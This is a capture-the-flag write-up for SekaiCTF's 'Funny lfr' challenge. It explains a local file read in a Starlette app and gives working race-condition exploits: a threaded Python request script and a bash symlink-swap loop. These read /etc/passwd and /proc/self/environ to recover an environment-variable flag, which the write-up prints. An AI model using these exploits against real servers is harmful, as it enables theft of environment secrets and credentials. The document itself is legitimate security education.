Funny-lfr
sekaiCTF
  • Challenge Description: Funny lfr

    ❖ Note

    You can access the challenge via SSH:

    ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost
    

    SSH access is only for convenience and is not related to the challenge.

  • Challenge Author: irogir

tl;dr

  • Local File Read (LFR) in Starlette app via FileResponse.
  • Unable to access /proc/self/environ due to zero st_size and content-length restrictions.
  • Exploit using race condition and symlink to access /proc/self/environ and retrieve the flag.

Overview

In this challenge, we're given a Dockerfile and an app.py file. Let's dive into the code:

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse

async def download(request):
    return FileResponse(request.query_params.get("file"))

app = Starlette(routes=[Route("/", endpoint=download)])

The Dockerfile is as follows:

FROM python:3.9-slim

RUN pip install --no-cache-dir starlette uvicorn

WORKDIR /app

COPY app.py .

ENV FLAG="SEKAI{test_flag}"

CMD ["uvicorn", "app:app", "--host", "0", "--port", "1337"]

From the Dockerfile, we can see that the flag is stored in an environment variable named FLAG. The app.py file takes a file path as a query parameter named file:

async def download(request):
    return FileResponse(request.query_params.get("file"))

app = Starlette(routes=[Route("/", endpoint=download)])

Now, let's try accessing /etc/passwd:

image.png

Cool ! It worked !!..

Since we know environment variables are stored in /proc/self/environ, let's try querying that to retrieve the flag:

trying that :

image.png

However, trying this didn't yield any results. Why not?

Upon checking the error logs, we noticed:

image.png

hmm, so there seems to be an issue with the content length when accessing it

To understand this further, let's inspect the Starlette source code. In response.py, we find the following

To understand whats going under the hood, I tried to debug the code

 async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
        if self.stat_result is None:
            try:
                stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
                self.set_stat_headers(stat_result)
            except FileNotFoundError:
                raise RuntimeError(f"File at path {self.path} does not exist.")
            else:
                mode = stat_result.st_mode
                if not stat.S_ISREG(mode):
                    raise RuntimeError(f"File at path {self.path} is not a file.")
        await send(
            {
                "type": "http.response.start",
                "status": self.status_code,
                "headers": self.raw_headers,
            }
        )
        if scope["method"].upper() == "HEAD":
            await send({"type": "http.response.body", "body": b"", "more_body": False})
        else:
            async with await anyio.open_file(self.path, mode="rb") as file:
                more_body = True
                while more_body:
                    chunk = await file.read(self.chunk_size)
                    more_body = len(chunk) == self.chunk_size
                    await send(
                        {
                            "type": "http.response.body",
                            "body": chunk,
                            "more_body": more_body,
                        }
                    )

So here , we can see that they are using os.stat to get the information about the file.

Screenshot from 2024-09-05 01-32-12.png

It turns out that when accessing /proc/self/environ, the st_size is reported as 0, which causes the content-length to be set to 0 as well.

image.png

In h11's _writers.py, we find:

class ContentLengthWriter(BodyWriter):
    def __init__(self, length: int) -> None:
        self._length = length

    def send_data(self, data: bytes, write: Writer) -> None:
        breakpoint()
        self._length -= len(data)
        if self._length < 0:
            raise LocalProtocolError("Too much data for declared Content-Length")
        write(data)

    def send_eom(self, headers: Headers, write: Writer) -> None:
        if self._length != 0:
            raise LocalProtocolError("Too little data for declared Content-Length")
        if headers:
            raise LocalProtocolError("Content-Length and trailers don't mix")

Searching further about this , we can find :

image.png

so this is the reason why we were not able to access /proc/ files.

Exploiting

Exploit using File Descriptor (FD)

Since the file is read after the content-length is set, we can exploit this by using a race condition. First, when Starlette reads os.stat, the FD should point to a file with a content-length greater than 0. When it starts reading, we can swap the FD to /proc/self/environ.

import threading
import socket

host="{{REDACTED}}"
port=1337

def make_req(host, port, path):
    with socket.create_connection((host, port)) as client:
        req = f"GET /?file={path} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n"
        client.sendall(req.encode())

        res = b""
        while True:
            data_chunk = client.recv(4096)
            if not data_chunk:
                break
            res += data_chunk

        return res.decode('utf-8')

def search(path):
    while True:
        server_res = make_req(host, port, path)
        if "sekai" in server_res.lower():
            print(server_res)
            break
        
paths = ["/etc/passwd", "/proc/self/environ", "/proc/self/fd/7"]

def main():
    threads = []
    for i in paths:
        for j in range(5):
            t = threading.Thread(target=search, args=(i,))
            t.start()
            threads.append(t)
    for a in threads:
        a.join()

main()

Exploit using symlink

Since SSH was given in this challenge, we can read and write files in it.

creating a bash script that changes the symlink between /proc/self/environ and file with content-length in a loop can hit /proc/self/environ and thus give us the flag

cat << 'EOF' > exp.sh
#! /bin/bash

ln -s /etc/passwd /tmp/1/a

while true; do
    ln -sf /proc/self/environ /tmp/1/a
    ln -sf /etc/passwd /tmp/1/a
done

EOF
import socket

host = "localhost"
port = 1337

request = "GET /?file=/tmp/1/a HTTP/1.1\r\nHost: localhost\r\n\r\n"

while True:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.sendall(request.encode())
        response = b""
        while True:
            data = s.recv(4096)
            if not data:
                break
            response += data
        print(response.decode())

Flag: SEKAI{b04aef298ec8d45f6c62e6b6179e2e66de10c542}

This is an interesting challenge as it demonstrated the complexities of secure file handling in web applications and the potential for exploiting race conditions and symlink manipulations. It highlighted the importance of thorough security testing and the need for developers to be aware of the intricacies of the frameworks and systems they use.